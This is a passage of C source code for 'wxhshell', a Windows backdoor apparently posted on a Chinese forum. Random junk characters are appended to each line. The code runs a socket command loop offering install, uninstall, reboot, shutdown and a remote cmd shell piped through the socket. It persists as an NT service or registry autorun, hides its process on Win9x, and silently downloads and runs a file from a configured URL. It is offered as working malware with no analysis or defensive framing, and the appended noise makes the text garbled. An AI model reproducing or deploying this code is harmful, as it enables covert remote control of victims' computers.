      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2eNm2;  
    break; 7G/"!ePW6`  
  } Pw")|85  
  // 安装 l6&R g-  
  case 'i': { U5klVl  
    if(Install()) R:E`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DeUDZL%/  
    else ((y+FJH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  >4Lb+]  
    break; V{npK(  
    } ()7=(<x{  
  // 卸载 NM4 n  
  case 'r': { lBCM; #P  
    if(Uninstall()) u*M*Wp Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sJ,zB[e8  
    else qG;WX n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  -x7L8Wj  
    break; ':Te#S  
    } Cc^t&Eg  
  // 显示 wxhshell 所在路径 Po2YDj`  
  case 'p': { Rk'Dd4"m ,  
    char svExeFile[MAX_PATH]; P=h2Z,2  
    strcpy(svExeFile,"\n\r"); S^_na]M"4  
      strcat(svExeFile,ExeFile); {f!mm3'2v  
        send(wsh,svExeFile,strlen(svExeFile),0); mBNa;6w?{*  
    break; 3y@'p(}Az  
    } o5)U3U1|  
  // 重启 A`@we  
  case 'b': { 'K0Y@y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4U((dx*m  
    if(Boot(REBOOT)) ?.T=(-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RGiA>Z:W  
    else { n_aKciF  
    closesocket(wsh); A81kb  
    ExitThread(0); xTe?*  
    } Q>.-u6(&  
    break; Y4i-Pp?  
    } "^u|vCqw  
  // 关机 s~GO-v7  
  case 'd': { k -SUp8}g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _uRgKoiy  
    if(Boot(SHUTDOWN)) 4Q$\hO3b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6rRPqO j  
    else {  bSmRo  
    closesocket(wsh); ?vZ&CB  
    ExitThread(0); oV*3Mec  
    } 0n1y$*I4  
    break; uy B ?-Y+  
    } Tj.;\a|d  
  // 获取shell HMBxj($eR  
  case 's': { VQX#P<  
    CmdShell(wsh); 6OVAsmE  
    closesocket(wsh); $ @^n3ZQ4  
    ExitThread(0); QutQG  
    break; PPohpdd)  
  } n&@\[,B  
  // 退出 Qd@`jwjS  
  case 'x': { L%<1cE))  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j88H3bi0  
    CloseIt(wsh); 7)[4|I  
    break; LaLA }1!  
    } I@[.W!w  
  // 离开 W1Ht8uYG3  
  case 'q': { d(h`bOjI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); + ('jqbV  
    closesocket(wsh); JK,k@RE y]  
    WSACleanup(); Xh){W~ -  
    exit(1); 9ah,a 4  
    break; u{I)C0  
        } pO"V9[p]  
  } wKwireOs  
  } '*22j ]  
C7PHZ`<  
  // 提示信息 Ua( !:5q?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8TuOf(qE  
} Z,ag5 w`]L  
  } Lx2.E1?@  
Y(<>[8S m  
  return; xHI>CNC,  
} *!Xhy87%Z)  
iX~V(~v  
// shell模块句柄 O"Ar3>   
int CmdShell(SOCKET sock) [_${N,1  
{ r] 2}S=[  
STARTUPINFO si; st pa2z  
ZeroMemory(&si,sizeof(si)); W<kJ%42^j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Al 0zL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3pm;?6i6  
PROCESS_INFORMATION ProcessInfo; " >;},$  
char cmdline[]="cmd"; L7 qim.J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AWGeK-^  
  return 0; pi+m`O   
} BLfoU_Z  
J5IQ  
// 自身启动模式 n;4` IK|  
int StartFromService(void) eja_+`cJ  
{ z$;z&X$j  
typedef struct ~g)gXPjke  
{ 'kPShZS$b  
  DWORD ExitStatus; ?/NxZ\  
  DWORD PebBaseAddress; '%kk&&3'  
  DWORD AffinityMask; w,D(zk$   
  DWORD BasePriority; m ?LOd9  
  ULONG UniqueProcessId; s&z+j%;+o  
  ULONG InheritedFromUniqueProcessId; A"p7N?|%  
}   PROCESS_BASIC_INFORMATION; s4t>/.;x  
:rwF5  
PROCNTQSIP NtQueryInformationProcess; oT.g@kf=H  
k_$w+Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "<NQ2Vr]5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5G= 2=E  
k.?b2]@$  
  HANDLE             hProcess; Q+gQ"l,95  
  PROCESS_BASIC_INFORMATION pbi; `AQv\@wp  
eZT923tD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +ImPNwrY  
  if(NULL == hInst ) return 0; u9QvcD^'z  
.\qZkk}2l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <[kdF")  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fb VtyQz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {dhGSM7  
r6QNs1f~.  
  if (!NtQueryInformationProcess) return 0; #%Uk}5;-  
 !3}vl Y1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O0c#-K.f  
  if(!hProcess) return 0; oj[Wzeg%  
a";(C ,:0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &.;tdT7  
A)&OR]0[  
  CloseHandle(hProcess); [{- Oy#T<  
~M2w&g;1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z^O>'9#  
if(hProcess==NULL) return 0; b\F(.8  
Mo0+"`   
HMODULE hMod; &Nt4dp`qj  
char procName[255]; u.gnv dU  
unsigned long cbNeeded; OcwD<Xy  
S~/zBFo-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2/x+7F}w5  
ZFY t[:  
  CloseHandle(hProcess); .{*V^[.  
;}ileL Tl  
if(strstr(procName,"services")) return 1; // 以服务启动 O3PE w4yA  
2D,9$ 0k_]  
  return 0; // 注册表启动 FhHcS>]:.  
} V)oUSHillH  
![P1Qv p  
// 主模块 ?`3` azfM  
int StartWxhshell(LPSTR lpCmdLine) #B_ ``XV  
{ 0Ou`& u  
  SOCKET wsl; ?n8gB7(FA  
BOOL val=TRUE; Rku9? zf^  
  int port=0; S zsq|T  
  struct sockaddr_in door; ZC@sUj"  
$RfM}!7?  
  if(wscfg.ws_autoins) Install(); XL1v&'HLV  
swntz  
port=atoi(lpCmdLine); 5\A[ra  
{Ug?k<h7|  
if(port<=0) port=wscfg.ws_port; ^ duNEu0*  
,nD:W  
  WSADATA data; 4jfkCU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6V KsX+sd  
Uo#% f+t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BC=U6>`/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p'fU}B1  
  door.sin_family = AF_INET; DP6M4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8A~5@  
  door.sin_port = htons(port); %+ynrg-  
_pnJ/YE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3.Oc8(N^}  
closesocket(wsl); g@BQ!}_#5  
return 1; J*vy-[w  
} |$`)d87,  
y2bL!Y<s9  
  if(listen(wsl,2) == INVALID_SOCKET) { !ZPaU11  
closesocket(wsl); a$y=+4L  
return 1; : " 9F.U  
} ]L@VpHEj  
  Wxhshell(wsl); -^`]tF`M  
  WSACleanup(); ]cdKd)  
o$8v8="p  
return 0; 3Sv<Viuo  
&'uFy0d,  
} Pwn"!pk  
5*l~7R  
// 以NT服务方式启动 (,#Rj$W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vr+O)/P})  
{ l*T> 9yC  
DWORD   status = 0; O]o `! c  
  DWORD   specificError = 0xfffffff; B{^o}:e  
HS =qK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l8/ tR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2| $  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; })rJU/  
  serviceStatus.dwWin32ExitCode     = 0; i/N4uq}'A<  
  serviceStatus.dwServiceSpecificExitCode = 0; [4KW64%l  
  serviceStatus.dwCheckPoint       = 0; 0wU8PZ Nj  
  serviceStatus.dwWaitHint       = 0; $@<qaR{t\  
RsIR}.*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <2Lcy&w_M  
  if (hServiceStatusHandle==0) return; Bvj-LT=)  
{%.FIw k  
status = GetLastError(); f0]8/)  
  if (status!=NO_ERROR) _C$JO   
{ 1bs 8fUPB3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B:Ec(USe  
    serviceStatus.dwCheckPoint       = 0; >bWx!M]  
    serviceStatus.dwWaitHint       = 0; qPY OO  
    serviceStatus.dwWin32ExitCode     = status; FTZ][  
    serviceStatus.dwServiceSpecificExitCode = specificError; fmC)]O%q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~GZ!;An  
    return; `!rH0]vy  
  } UE33e(Q<  
t2d _XQOK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JDrh-6Zgj  
  serviceStatus.dwCheckPoint       = 0; RLBjl%Q>  
  serviceStatus.dwWaitHint       = 0; PYX]ld.E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^_BHgbS%;  
} l ps 6lnh  
{Hxvt~P  
// 处理NT服务事件,比如:启动、停止 O&YX V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HQlhT  
{ *)+1BYMo  
switch(fdwControl) lX$6U| !  
{ 3#o!K  
case SERVICE_CONTROL_STOP: s\A"B#9r  
  serviceStatus.dwWin32ExitCode = 0; Q|/uL`_ni  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8q*MhH>6I  
  serviceStatus.dwCheckPoint   = 0; gU1E6V-Jm  
  serviceStatus.dwWaitHint     = 0; -S5M>W.Qb{  
  { vX|ZPn#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); # ~SuL3  
  } R?@F%J;tx  
  return; *IL x-D5qr  
case SERVICE_CONTROL_PAUSE: h$7rEs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oxT..=-  
  break; h >V8YJ  
case SERVICE_CONTROL_CONTINUE: VU6nu4   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^c",!Lp}{  
  break; Mr'P0^^  
case SERVICE_CONTROL_INTERROGATE: /Ud<4j-  
  break; 2]W"sT[  
}; a-w=LpVM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ba==Ri8$  
}  Gh;Ju[6  
C;7?TZ&xw  
// 标准应用程序主函数 U%oh ?g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l1BbL5#1Q>  
{ JQ|qg\[  
%H OMX{~}#  
// 获取操作系统版本 k{_ Op/k}V  
OsIsNt=GetOsVer(); Esh3 cn4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S0?4}7`A  
J-C3k`%O  
  // 从命令行安装 \7M+0Ul1  
  if(strpbrk(lpCmdLine,"iI")) Install(); (`h$+p^-y  
*{/ ww9fT  
  // 下载执行文件 v_-S#(  
if(wscfg.ws_downexe) { wBlfQ w-N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2D|2/ >[  
  WinExec(wscfg.ws_filenam,SW_HIDE); Omy4Rkj8bh  
} b=[gK|fu  
`;Qw/xl_N  
if(!OsIsNt) { Sj?u^L8es}  
// 如果时win9x,隐藏进程并且设置为注册表启动 `tZu~ n  
HideProc(); bH+x `]{A  
StartWxhshell(lpCmdLine); +76{S_CZ  
} xszGao'  
else .Y B}w  
  if(StartFromService()) HsrIw  
  // 以服务方式启动 c"qaULY  
  StartServiceCtrlDispatcher(DispatchTable); E+wd9/;  
else 9$[I~I#z  
  // 普通方式启动 qFEGV+  
  StartWxhshell(lpCmdLine); ~P&Brn"=Rs  
.KiJq:$H  
return 0; aRFLh  
}
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只看该作者 1 发表于: 2006-10-10
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